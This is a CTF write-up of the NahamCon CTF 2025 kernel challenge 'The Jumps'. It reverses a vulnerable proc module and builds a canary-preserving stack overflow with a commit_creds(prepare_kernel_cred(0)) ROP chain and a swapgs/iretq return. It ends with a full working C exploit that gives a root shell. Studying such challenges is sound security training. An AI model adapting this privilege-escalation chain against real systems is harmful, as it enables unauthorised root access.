From a Kernel Stack Leak and Canary restore to commit_creds(prepare_kernel_cred(0)) ropchain

The Jumps is a Linux kernel exploitation challenge from NahamCon CTF 2025 without source code. After reversing the supplied kernel module that uses /proc/shellcode_device, it was clear what the vulns were and what needed to be achieved. We need a kernel leak and a overflow of some sort, those two functions fit together perfectly:

  1. read() copies data from a small kernel stack frame into a global buffer, leaking the stack canary and a kernel text address.
  2. write() copies attacker-controlled data from that global buffer back over a small kernel stack frame, giving control of the saved return address (so getting $rip control).

The final ROP chain is as follows:

prepare_kernel_cred(NULL)
        |
        | returns struct cred * in RAX
        v
mov RDI, RAX
        |
        | RDI now contains the same struct cred *
        v
commit_creds(RDI)
        |
        | current process is now root
        v
swapgs_restore_regs_and_return_to_usermode+0x16
        |
        v
return_to_userspace() -> cat /flag -> /bin/sh

Note that commit_creds(&init_cred) is also possible (and easier), but init_cred wasn't available here in this qemu chall instance... How that works I explained in the first kernel exploitation blog here

The chall enables SMEP and SMAP. Its launch scripts pass nokaslr, although the exploit still derives the kernel base from the stack leak, just to make it portable (and to be honest: I didn't saw the nokaslr at first).

1. Reversing the module

The module allocates one global 0x400-byte buffer and creates a world-writable proc entry:

proc_data = __vmalloc(0x400, ...);
memset(proc_data, 0, 0x400);
proc_create("shellcode_device", 0666, NULL, &proc_fops);

Every open descriptor shares proc_data. No heap spray or race is needed; the read and write handlers already provide the leak and control-flow primitive.

The stack disclosure in proc_read

The read handler is equivalent to:

static ssize_t proc_read(struct file *file, char __user *user,
                         size_t count, loff_t *off)
{
    char stack_buf[0x20];

    if (count > 0x400)
        return -EINVAL;

    memcpy(proc_data, stack_buf, count);
    if (_copy_to_user(user, proc_data, count))
        return /* error */;

    return count;
}

The local buffer is only 0x20 bytes, but count may be as large as 0x400. The important memcpy direction is visible in ida as thi:

mov rdi, [proc_data]    ; destination
mov rdx, rbx            ; count
mov rsi, rsp            ; source: current kernel stack
call __memcpy

Calling read(fd, buf, 0x160) therefore copies 0x160 bytes from the kernel stack into proc_data, then sends those bytes to userspace. The result contains the local frame, stack canary, saved registers, and return addresses.

The stack overflow in proc_write

The write handler reverses the data flow:

static ssize_t proc_write(struct file *file, const char __user *user,
                          size_t count, loff_t *off)
{
    char stack_buf[0x20] = {0};

    if (count > 0x3ff)
        return -EINVAL;

    if (_copy_from_user(proc_data, user, count - 1))
        return -EFAULT;

    memcpy(stack_buf, proc_data, count);
    proc_data[count] = '\0';
    return count;
}

With count = 0x160, the final memcpy overwrites the canary, saved frame pointer, saved return address, and the stack above them.

The count - 1 copy does not break the exploit. The last byte of the 0x160-byte user buffer is not refreshed, but the complete ROP chain ends at offset 0x98.

The ioctl path

Command 0x7301 contains another direct stack overflow:

char local[0x20];
memcpy(local, proc_data, 0x400);
printk("Buff = %s\n", local);

That path could consume a payload already stored in proc_data. Could also work but the write one is easier.

2. Matching the read leak to the write frame

Both handlers put their canary at stack offset 0x20, but their prologues save a different number of registers.

proc_read pushes both rbp and rbx:

offset    leaked proc_read value
------    ------------------------------------------------
+0x00     start of the 0x20-byte local buffer
+0x20     stack canary
+0x28     saved RBX
+0x30     saved RBP
+0x38     return address into proc_reg_read

proc_write only pushes rbp:

offset    overwritten proc_write value
------    ------------------------------------------------
+0x00     start of the 0x20-byte local buffer
+0x20     stack canary
+0x28     saved RBP
+0x30     saved RIP, first ROP gadget

This explains all three important offsets:

uint64_t canary = ((uint64_t *)buf)[4]; // 4 * 8 = 0x20
uint64_t leak   = ((uint64_t *)buf)[7]; // 7 * 8 = 0x38

uint64_t *rop = (uint64_t *)&buf[0x30]; // proc_write saved RIP

The initial read() already placed the correct canary in buf + 0x20. I only replace data starting at offset 0x30, so write() copies the original canary back into the exact location checked by the proc_write epilogue.

3. Calculating the kernel base

Just for practice there because nokaslr is set.

The qword leaked at offset 0x38 is 0xffffffff8123e397 so its offset from the kernel base is 0x23e397:

uint64_t kbase = leak - 0x23e397;

On the qemu chall this gives:

kbase = 0xffffffff81000000

The two kernel functions are resolved from that base: Its even easier to use the bata24 gef command kmagic to see the offsets.

uint64_t prepare_kernel_cred = kbase + 0x000881d0;
uint64_t commit_creds        = kbase + 0x00087e90;

The current exploit uses absolute addresses for its other gadgets. This works because the launcher passes nokaslr. With KASLR enabled, those gadgets would also need to be expressed as kbase + offset.

4. Saving the userspace state

The ROP chain executes in kernel space, but the exploit must eventually return to the same process in user space. An iretq privilege transition needs:

RIP       userspace instruction pointer
CS        userspace code selector
RFLAGS    userspace flags
RSP       userspace stack pointer
SS        userspace stack selector

The exploit saves the four values that cannot be safely guessed:

static void save_user_state(struct user_state *state)
{
    __asm__ volatile(
        "mov %%cs, %0\n"
        "mov %%ss, %1\n"
        "pushfq\n"
        "pop %2\n"
        "mov %%rsp, %3\n"
        : "=r"(state->cs), "=r"(state->ss), "=r"(state->rflags),
          "=r"(state->rsp));
}

The userspace RIP is the address of return_to_userspace().

5. Building the exact ROP chain

The working solve uses these functions and gadgets:

0xffffffff81e001bb    pop rdi; ret
kbase + 0x881d0       prepare_kernel_cred
0xffffffff810f1a78    mov rdi, rax;
                      mov [vmcoreinfo_data_safecopy], rdi;
                      ret
kbase + 0x87e90       commit_creds
0xffffffff81c00a45    swapgs_restore_regs_and_return_to_usermode+0x16

The exact chain from exp.c is:

uint64_t *rop = (uint64_t *)&buf[0x30];

*rop++ = pop_rdi;
*rop++ = 0;
*rop++ = prepare_kernel_cred;
*rop++ = mov_rdi_rax;
*rop++ = commit_creds;
*rop++ = swapgs_iret;
*rop++ = 0;
*rop++ = iretq;
*rop++ = (uint64_t)return_to_userspace;
*rop++ = user.cs;
*rop++ = user.rflags;
*rop++ = user.rsp;
*rop++ = user.ss;

Word by word, the overwritten kernel stack contains:

index  offset  value                 purpose
-----  ------  --------------------  ---------------------------------------
0      0x30    pop_rdi               load the first function argument
1      0x38    0                     prepare_kernel_cred(NULL)
2      0x40    prepare_kernel_cred   allocate privileged credentials
3      0x48    mov_rdi_rax           copy returned pointer from RAX to RDI
4      0x50    commit_creds          install the credentials
5      0x58    swapgs_iret           begin the kernel-to-user transition
6      0x60    0                     saved RDI for the trampoline
7      0x68    iretq address         orig_ax/padding slot
8      0x70    return_to_userspace   userspace RIP
9      0x78    user.cs               userspace CS
10     0x80    user.rflags           userspace RFLAGS
11     0x88    user.rsp              userspace RSP
12     0x90    user.ss               userspace SS

The final qword occupies offset 0x90 and the chain ends at 0x98, comfortably inside the 0x160-byte payload.

6. Calling prepare_kernel_cred(NULL)

The x86-64 calling convention passes the first function argument in rdi:

pop rdi; ret -> RDI = 0

The next ret enters prepare_kernel_cred. When the function returns, its own ret consumes the next address in the ROP chain.

prepare_kernel_cred(NULL) creates a fresh privileged struct cred and returns its pointer in rax:

RAX = new_cred

The Linux v5.4 source shows exactly why passing NULL produces privileged credentials:

struct cred *prepare_kernel_cred(struct task_struct *daemon)
{
    const struct cred *old;
    struct cred *new;

    new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
    if (!new)
        return NULL;

    kdebug("prepare_kernel_cred() alloc %p", new);

    if (daemon)
        old = get_task_cred(daemon);
    else
        old = get_cred(&init_cred);

The ROP chain sets rdi to zero, so daemon == NULL and execution takes the else branch. The function uses init_cred as the old credential, copies it into the newly allocated object later in the function, and returns that new object in rax.

7. Moving the return value from RAX to RDI

commit_creds expects its struct cred * argument in rdi, while prepare_kernel_cred returns that pointer in rax. The chain must bridge the two calling-convention registers:

mov rdi, rax

The only good looking and available gadget has one side effect:

ffffffff810f1a78: mov rdi, rax
ffffffff810f1a7b: mov [rip+0x1a65436], rdi
ffffffff810f1a82: ret

mov copies the value; it does not clear the source register:

before gadget: RAX = new_cred, RDI = old value
after gadget:  RAX = new_cred, RDI = new_cred
next target:   commit_creds(RDI)

The extra store writes the credential pointer to the rip offset but doesn't mess up the ropchain. So that side effect is acceptable.

8. Installing the credentials

After the transfer gadget:

RDI = RAX = new_cred

Returning into commit_creds installs the object into the current task's credential fields. The ROP chain runs in the context of the exploit process, so that process is now root.

When commit_creds returns, the next address on the stack is the kernel exit trampoline.

9. Returning through the swapgs/iretq trampoline

Jumping directly from kernel space to return_to_userspace() would fail under SMEP. The CPU would still have kernel privilege and would try to execute an instruction from a userspace page.

The rop chain instead uses the kernel's normal way of returning to userspace. The symbol swapgs_restore_regs_and_return_to_usermode starts at 0xffffffff81c00a2f, but that entry begins with fifteen register pops. I skip those pops (in a earlier blog I didn't knew that was possible yet, and was using alot of extra ropchain space) and enter at offset +0x16:

ffffffff81c00a45: mov rdi, rsp
ffffffff81c00a48: mov rsp, qword ptr gs:[0x6004]
ffffffff81c00a51: push qword ptr [rdi+0x30]  ; SS
ffffffff81c00a54: push qword ptr [rdi+0x28]  ; RSP
ffffffff81c00a57: push qword ptr [rdi+0x20]  ; RFLAGS
ffffffff81c00a5a: push qword ptr [rdi+0x18]  ; CS
ffffffff81c00a5d: push qword ptr [rdi+0x10]  ; RIP
ffffffff81c00a60: push qword ptr [rdi]       ; saved RDI
ffffffff81c00a62: push rax
...
ffffffff81c00aa8: pop rax
ffffffff81c00aa9: pop rdi
ffffffff81c00aaa: swapgs
ffffffff81c00aad: jmp native_iret

The first instruction is mov rdi, rsp, here rdi becomes a pointer to the ROP-supplied frame. The trampoline switches rsp to a kernel per-CPU scratch stack and copies the five iretq values onto it.

At trampoline entry, rdi points to:

offset  value                 use
------  --------------------  ------------------------------------------
+0x00   0                     restored into RDI before swapgs
+0x08   iretq address         orig_ax/padding slot, not a branch target
+0x10   return_to_userspace   IRET RIP
+0x18   user.cs               IRET CS
+0x20   user.rflags           IRET RFLAGS
+0x28   user.rsp              IRET RSP
+0x30   user.ss               IRET SS

The address stored in the +0x08 slot is not jumped to by this trampoline entry. It serves as the skipped orig_ax slot. The actual iretq is reached through native_iret after the trampoline executes swapgs.

swapgs restores the userspace GS base. iretq then loads RIP, CS, RFLAGS, RSP, and SS, changing privilege level from kernel space back to user space.

10. Finishing in userspace

The iretq target is a naked wrapper:

__attribute__((naked, noreturn))
static void return_to_userspace(void)
{
    __asm__(
        ".intel_syntax noprefix;"
        "xor rbp, rbp;"
        "and rsp, ~0xF;"
        "call post_exploit;"
        "ud2;"
        ".att_syntax;");
}

The wrapper clears the stale frame pointer, aligns the restored stack to 16 bytes, and calls normal C code:

static void post_exploit(void)
{
    system("cat /flag");
    system("/bin/sh");
    _exit(0);
}

Both commands execute as root because commit_creds modified the current task before the ring transition.

11. Why the mitigations do not stop the exploit

Stack canary

The read primitive leaks the exact canary at offset 0x20. The payload preserves that qword, so the epilogue check succeeds.

KASLR

The return address at offset 0x38 leaks a core-kernel text address. That is enough to calculate kbase. The provided launcher also uses nokaslr, which keeps the hardcoded gadget addresses valid.

SMEP

Every ROP gadget and function executes from kernel text. Userspace code runs only after the trampoline has changed privilege level with iretq.

SMAP

The module copies the payload through _copy_from_user, which is the intended SMAP-aware access path. The resulting ROP chain lives on the kernel stack; no gadget needs to dereference userspace memory.

12. End-to-end exploit flow

save CS, SS, RFLAGS, and userspace RSP
    -> pin the process to CPU 0
    -> open /proc/shellcode_device
    -> read 0x160 bytes
    -> leak the canary at +0x20
    -> leak proc_reg_read+0x37 at +0x38
    -> calculate kbase
    -> preserve the leaked canary
    -> place the ROP chain at +0x30
    -> write 0x160 bytes
    -> proc_write copies the payload over its kernel stack
    -> the canary check succeeds
    -> saved RIP enters pop rdi; ret
    -> prepare_kernel_cred(NULL) returns new_cred in RAX
    -> mov rdi, rax copies new_cred into the first argument register
    -> commit_creds(new_cred) makes the current process root
    -> the kernel exit trampoline executes swapgs and iretq
    -> return_to_userspace prints /flag and starts /bin/sh

The final write() does not return normally. Its epilogue is where control transfers into the ROP chain.

13. Full exploit

#define _GNU_SOURCE

#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <unistd.h>

struct user_state {
    uint64_t cs;
    uint64_t ss;
    uint64_t rflags;
    uint64_t rsp;
};

static void die(const char *message)
{
    perror(message);
    exit(EXIT_FAILURE);
}

static void pin_to_cpu0(void)
{
    cpu_set_t cpus;

    CPU_ZERO(&cpus);
    CPU_SET(0, &cpus);
    if (sched_setaffinity(0, sizeof(cpus), &cpus) == -1)
        die("sched_setaffinity");
}

static void save_user_state(struct user_state *state)
{
    __asm__ volatile(
        "mov %%cs, %0\n"
        "mov %%ss, %1\n"
        "pushfq\n"
        "pop %2\n"
        "mov %%rsp, %3\n"
        : "=r"(state->cs), "=r"(state->ss), "=r"(state->rflags),
          "=r"(state->rsp));
}

__attribute__((noreturn, noinline, used))
static void post_exploit(void)
{
    system("cat /flag");
    system("/bin/sh");
    _exit(0);
}

__attribute__((naked, noreturn))
static void return_to_userspace(void)
{
    __asm__(
        ".intel_syntax noprefix;"
        "xor rbp, rbp;"
        "and rsp, ~0xF;"
        "call post_exploit;"
        "ud2;"
        ".att_syntax;");
}

int main(void)
{
    struct user_state user;
    save_user_state(&user);
    pin_to_cpu0();

    int fd = open("/proc/shellcode_device", O_RDWR);
    assert(fd > 0);

    char buf[0x160];
    read(fd, buf, sizeof(buf));

    uint64_t leak = ((uint64_t *)buf)[7];
    uint64_t kbase = leak - 0x23e397;
    uint64_t canary = ((uint64_t *)buf)[4];

    printf("leaked value is 0x%llx\n", leak);
    printf("kbase value is 0x%llx\n", kbase);
    printf("canary value is 0x%llx\n", canary);

    uint64_t prepare_kernel_cred = kbase + 0x000881d0;
    uint64_t commit_creds = kbase + 0x00087e90;
    uint64_t pop_rdi = 0xffffffff81e001bb;
    uint64_t mov_rdi_rax = 0xffffffff810f1a78;
    uint64_t swapgs_iret = 0xffffffff81c00a2f + 0x16;
    uint64_t iretq = 0xffffffff81c0143d;

    uint64_t *rop = (uint64_t *)&buf[0x30];
    *rop++ = pop_rdi;
    *rop++ = 0;
    *rop++ = prepare_kernel_cred;
    *rop++ = mov_rdi_rax;
    *rop++ = commit_creds;
    *rop++ = swapgs_iret;
    *rop++ = 0;
    *rop++ = iretq;
    *rop++ = (uint64_t)return_to_userspace;
    *rop++ = user.cs;
    *rop++ = user.rflags;
    *rop++ = user.rsp;
    *rop++ = user.ss;

    write(fd, buf, sizeof(buf));
    return 0;
}

Successful The Jumps exploit

References

chall files repo